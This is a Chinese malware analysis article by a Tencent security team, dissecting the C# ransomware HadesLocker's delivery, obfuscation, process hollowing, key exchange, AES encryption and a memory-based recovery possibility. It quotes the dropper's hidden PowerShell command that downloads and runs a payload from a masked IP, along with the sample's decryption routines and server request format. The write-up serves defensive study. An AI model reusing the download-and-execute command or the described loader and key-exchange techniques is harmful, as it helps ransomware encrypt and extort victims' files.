直面冥王:最新爆发的C#敲诈木马HadesLocker解读

近日哈勃分析系统捕获到一类由C#语言编写的新的敲诈勒索木马。之前出现 的C#语言编写的木马只是简单地调用了一些C#库来辅助开发。与之相比,这次的变种增加了多层嵌套解密、动态反射调用 等复杂手段,外加多种混淆技术, 提升了分析难度。

木马加密文件时使用AES256算法, 在特定条件下可以还原加密的文件。

背景简介:

HadesLocker是10月份新爆发的一个敲诈勒索类木马,会加密用户 特定后缀名的文件,包括本地驱动器和网络驱动器, 加密后文件后缀为.~HL外加5个 随机字符,然后生成txt,html、png三种形式的文件来通知用户支付 赎金,桌面背景也会被改为生成的png文件。

打开支付赎金的网站可以看到,用户必须支付1比特币的赎金才能获取解密 密码,并且如果在规定的时间内没有支付,赎金价格将升至2比特币 。在该网站上,木马作者将其命名为HadesLocker。此网站域名为俄罗斯顶级域名ru,无法查询到进一步的注册信息。

样本分析:

原始传播文件依然延续了最近的趋势,使用宏文档进行传播,打开文档之后运行宏会 启动powershell命令,下载木马主体并且运行 :

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://185.*.*.66/update.exe','C:\Users\ADMINI~1\AppData\Local\Temp\update345.exe'); Start-Process('C:\Users\ADMINI~1\AppData\Local\Temp\update345.exe')

其中的下载IP经查询来自荷兰。

下载到的update345.exe是一个rar自解压 包,打开后可以看到包含3个文件, 其中一个exe是木马启动入口,另外两个文件均是一些二进制数据。

Osiyykss.exe是一个C#程序,所有 的源码都经过了混淆,主要包括函数名与变量名混淆 ,执行流程混淆,外加垃圾指令等。

例如下面是其中一个较为简单的被混淆的方法:

可以看到混淆形式如下:

while(true) { switch() case 1: case 2: …… }

使用其中硬编码的一些大数常量,然后 通过各种运算决定进哪个执行分支,以此 混淆执行流。因此后面可以看到,本文几乎所有截图中的代码 基本都在某个switch的case里。外加所有的字符串都是动态解密的,这 对静态分析造成了很大困扰,所以主要需要依靠动态调试这个样本。

Osiyykss.exe分析:

Osiyykss.exe启动后首先读取压缩包内的另一个文件Krrxoeoaonmsiyyk.png, 并且开始解密:

Krrxoeoaonmsiyyk.png解密后是一个C#程序集,解密 方法不算复杂,使用固定的字符串“Dlghooxwxclesvxamv” 为key,然后顺序异或加密。由此可得到 解密算法为:

For i in FileSize: FileBytes[i] ^= Key[ i % KenLen ];

解密后的程序集是这样的:

解密后Osiyykss.exe使用延迟绑定技术动态调用 这个名为”IE”的程序集:

IE程序集:

首先木马将自身复制到AppData\Roaming\wow6232node目录 下,此目录名怀疑是模仿系统中常见的WOW6432Node的名称。

然后创建一个快捷方式,指向wow6232node目录下的 新文件,并且将快捷方式设置为自启动项。

接下来读取压缩包的另一个文件Senagxehdojk.xml,并且调用IE:PolyDecrypt开始解密 ,解密的key与之前解密IE程序集的key一样 ,但是解密方法略有不同,解密算法大意如下:

For i in FileSize*2: FileBytes[i % FileSize] = (BYTE)(((int)((FileBytes[i % FileSize] ^ Key[i % KeyLen]) - FileBytes[(i + 1) % FileSize]) + 256) % 256);

Senagxehdojk.xml解密后为另一个程序集S oftware,这个程序集才是敲诈木马实现加密勒索的主要程序集,但木马十分狡猾,并没有直接调用该程序集。

说回IE程序集,IE程序集资源还包含了一个PE文件:

该PE文件也是一个C#程序集,名为C Lib,IE程序集使用反射技术动态调用 资源中Clib程序集的Pe.Run()。

CLib程序集:

接下来的流程在CLib程序集 上负责执行,上图可以看到,在调用此程序集 时还使用了3个参数,Injection是.net目录 下RegAsm.exe的全路径,parameters为null ,而vfile则是之前解密的Software 程序集的资源数据。

CLib程序集的功能比较单一,首先以 CREATE_SUSPENDED创建RegAsm.exe进程并挂起:

然后使用PeLoader技术,将RegAsm进程 的内存镜像替换为之前解密的software程序集, 然后恢复原RegAsm.exe进程继续执行。

Software程序集:

此时经过了层层的动态load、内存加载技术 ,终于要到了真正加密文件的地方了,按照之前流程所述, 虽然进程是RegAsm.exe,但这时RegAsm.exe的实际内存 其实已经被替换为Software程序集了。

Software程序集首先解密两段局部 变量保存的的二进制数据。第一段数据解密后发现又 是一个程序集,然后反射动态加载该程序集。

因为是从一个局部硬编码 的二进制数据中解密的,所以该程序集不是很大,用Reflector可以 看到该程序集并没有实际的功能,但资源里包含两个字符串,内容是 加密所有文件后,木马生成用来通知用户 支付赎金的文本,包括HTML 与TXT。

第二段数据解密后是木马 将要使用的所有的字符串数据,如赎金支付网址等。

然后,Software程序集从HKEY_CURRENT_USER\Software\Wow6232Node获取hwid和status的 值,如果不存在就创建该注册表项,并计算键值。

status代表当前加密状态,未加密为0,当加密完全盘后置为 1。

hwid代表被感染用户的唯一ID,这个ID很重要 ,用于表明受害者的身份,计算方法如下:先生成 一段GUID,然后把其中的“ -”替换掉,最后 取前0×10个字节,转为大写,就得到了当前用户的ID。

接下来,木马从http://ip-api.com/xml获取当前 的IP信息,以及获取计算机名,账户名等信息。

这些数据都获取到之后,木马会把数据发往服务器ng****tz.ru去 请求加密密钥,请求使用的是HTTP POST的方式, 参数包括之前计算的中招用户唯一ID,账户名,计算机名、 IP地址、国家信息等:

hwid=****&tracking_id=****&usercomputername=****&ip=*.*.*.*&country=CN

如果是在断网状态下,则木马 会不断尝试连接,直到连接成功,因此在断网状态文件不会 立即加密。

服务器接收到POST请求后 返回信息为如下格式:

"[STATUS=ACCEPTED][=][PASSWORD=0KDZX-zjxRf3fFwCc0aB0dpHOJEAKyirVorBCn]"

其中的PASSWORD以“-” 分割为两部分。

第一部分表明加密后的文件的随机后缀名 ,文件后缀名规则为.~HL加上获取到的随机字符,所以本次被加密 文件的后缀名为.~HL0KDZX 。

第二部分为zjxRf3fFwCc0aB0dpHOJEAKyirVorBCn,首先把 字符串根据ascii转换为二进制,然后计算一次SHA512,HASH完 的结果长度为0×40个字节,分为2个 部分,前0×20为Key1,中间0×10个字节为Key2, 两个Key都是接下来的文件 加密算法用到的参数。

接下来开始生成PNG、TXT、HTML三种格式的文件 用于通知用户,文件名规则为README_RECOVER_FILES_加HWID 再加上相应的后缀名。通知内容中, 支付赎金截止日期为系统当前时间加7天,其余一些 信息则简单做一些替换,比如用户当前的HWID、支付赎金的网站等。生成相应的文件内容后, 保存到系统关键目录下, 比如Documents,Pictures目录。

做完以上步骤之后,木马开始加密文件,会被此木马加密的所有 文件后缀名如下:

.contact .dbx .doc .docx .jnt .jpg .mapimail .msg .oab .ods .pdf .pps .ppsm .ppt .pptm .prf .pst .rar .rtf .txt .wab .xls .xlsx .xml .zip .1cd .3ds .3g2 .3gp .7z .7zip .accdb .aoi .asf .asp .aspx .asx .avi .bak .cer .cfg .class .config .css .csv .db .dds .dwg .dxf .flf .flv .html .idx .js .key .kwm .laccdb .ldf .lit .m3u .mbx .md .mdf .mid .mlb .mov .mp3 .mp4 .mpg .obj .odt .pages .php .psd .pwm .rm .safe .sav .save .sql .srt .swf .thm .vob .wav .wma .wmv .xlsb .3dm .aac .ai .arw .c .cdr .cls .cpi .cpp .cs .db3 .docm .dot .dotm .dotx .drw .dxb .eps .fla .flac .fxg .java .m .m4v .max .mdb .pcd .pct .pl .potm .potx .ppam .ppsm .ppsx .pptm .ps .pspima .r3d .rw2 .sldm .sldx .svg .tga .wps .xla .xlam .xlm .xlr .xlsm .xlt .xltm .xltx .xlw .act .adp .al .bkp .blend .cdf .cdx .cgm .cr2 .crt .dac .dbf .dcr .ddd .design .dtd .fdb .fff .fpx .h .iif .indd .jpeg .mos .nd .nsd .nsf .nsg .nsh .odc .odp .oil .pas .pat .pef .pfx .ptx .qbb .qbm .sas7bd .say .st4 .st6 .stc .sxc .sxw .tlg .wad .xlk .aiff .bin .bmp .cmt .dat .dit .edb .flvv .gif .groups .hdd .hpp .log .m2ts .m4p .mkv .mpeg .ndf .nvram .ogg .ost .pab .pdb .pif .png .qed .qcow .qcow2 .rvt .st7 .stm .vbox .vdi .vhd .vhdx .vmdk .vmsd .vmx .vmxf .3fr .3pr .ab4 .accde .accdr .accdt .ach .acr .adb .ads .agdl .ait .apj .asm .awg .back .backup .backup .bank .bay .bdb .bgt .bik .bpw .cdr3 .cdr4 .cdr5 .cdr6 .cdrw .ce1 .ce2 .cib .craw .crw .csh .csl .db_jou .dc2 .dcs .ddoc .ddrw .der .des .dgc .djvu .dng .drf .dxg .eml .erbsql .erf .exf .ffd .fh .fhd .gray .grey .gry .hbk .ibank .ibd .ibz .iiq .incpas .jpe .kc2 .kdbx .kdc .kpdx .lua .mdc .mef .mfw .mmw .mny .moneyw .mrw .myd .ndd .nef .nk2 .nop .nrw .ns2 .ns3 .ns4 .nwb .nx2 .nxl .nyf .odb .odf .odg .odm .orf .otg .oth .otp .ots .ott .p12 .p7b .p7c .pdd .pem .plus_m .plc .pot .pptx .psafe3 .py .qba .qbr .qbw .qbx .qby .raf .rat .raw .rdb .rwl .rwz .s3db .sd0 .sda .sdf .sqlite .sqlite .sqlite .sr2 .srf .srw .st5 .st8 .std .sti .stw .stx .sxd .sxg .sxi .sxm .tex .wallet .wb2 .wpd .x11 .x3f .xis .ycbcra .yuv

在加密过程中,为了保证系统正常运行,如下几个目录会被木马跳过:

Windows、program files、program files(x86)、system volume information、 $recycle.bin

木马的加密方式为AES256对称加密, key为之前得到的key1, IV为key2,以0×1000为单位循环加密 ,对于文件大小小于0×1000的文件,使用0来 补齐。大于0×1000的文件,最后不够0×1000的内容重复使用 之前的buffer补齐。

加密完文件后,对于原始文件木马并没有 马上直接删除,而是先生成随机数进行填充 ,并且篡改了文件的创建时间、最后访问时间等,最后再进行删除 。这样做的目的是防止使用一些文件恢复工具进行恢复, 从中也可以看出此木马为了获取非法利益给受害者造成了非常大的破坏。

在加密了全盘文件后,木马会打开HTML和TXT文件 ,并且修改桌面背景以通知用户支付赎金。

密钥与解密:

在加密过程中,可以看到木马使用的是 AES加密,所以如果知道密钥是可以恢复文件的,而密钥获取 是通过向服务器POST请求拿到PASSWORD,然后通过SHA512计算 来的。遗憾的是,就算使用固定的 HWID,IP等信息,每次请求获取到的PASSWORD 都不相同,可见服务器进行了一些随机化处理,因此这个方法获取 密钥是行不通的。

不过,服务器传回的PASSWORD信息,在木马 的主体,也就是RegAsm.exe进程的 内存里可以找到,而且RegAsm.exe在完成所有加密后并不会退出, 因此如果在用户重启电脑之前,能够从内存中提取出这段密钥,可以尝试还原被加密的文件。

*作者:腾讯电脑管家(企业账号),转载请注明来自FreeBuf.COM

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2016-11-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏PHP在线

PHP处理密码的几种方式

在使用PHP开发Web应用的中,很多的应用都会要求用户注册,而注册的时候就需要我们对用户的信息进行处理了,最常见的莫过于就是邮箱和密码了,本文意在讨论对密码的处...

18240
来自专栏七夜安全博客

你不知道的 HTTPS中间人攻击

研究生毕业了,好好给自己放了个假期,休息了两周,文章博客都没有更新。从大学开始基本上没过暑假,匆匆忙忙的。再过两天,就要去腾讯工作了,做了自己喜欢的网络安全,重...

18230
来自专栏安恒网络空间安全讲武堂

WriteUp分享 | LCTF的一道padding oracle攻击+sprintf格式化字符串导致的SQL注入

0x00题目 http://111.231.111.54/ 泄露了两个源码 .login.php.swp .admin.php.swp 源码丢在最下面,可用vi...

25180
来自专栏PHP在线

JSON Web Token - 在Web应用间安全地传递信息

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。 让我们来假想一下一个场景。在A用户...

39260
来自专栏FreeBuf

一个纯JS脚本的文档敲诈者剖析(附解密工具)

0x00 概述 近日,腾讯反病毒实验室拦截到一个名为RAA的敲诈者木马,其所有的功能均在JS脚本里完成。这有别于过往敲诈者仅把JS脚本当作一个下载器,去下载和执...

55370
来自专栏mantou大数据

深入浅出JWT(JSON Web Token )

JSON Web Token(JWT)是一个开放式标准(RFC 7519),它定义了一种紧凑(Compact)且自包含(Self-contained)的方式,用...

676110
来自专栏网络

突破封闭 Web 系统的技巧之正面冲锋

在互联网安全服务公司乙方工作的人或者进行 SRC 众测等相关渗透测试时,经常碰到客户只给一个 "xxx信息管理系统"、"xxx平台"之类的一个 Web 登录界面...

278100
来自专栏叔叔的博客

SpringCloud config配置文件加密

? 一、前言 配置文件中,有些敏感数据需要加密处理。 SpringCloud config server可以结合jce实现这个功能。 二、配置 下载jce ...

42060
来自专栏阮一峰的网络日志

JSON Web Token 入门教程

JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,本文介绍它的原理和用法。

22150
来自专栏PHP在线

JSON Web Token - 在Web应用间安全地传递信息

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。

22270

扫码关注云+社区

领取腾讯云代金券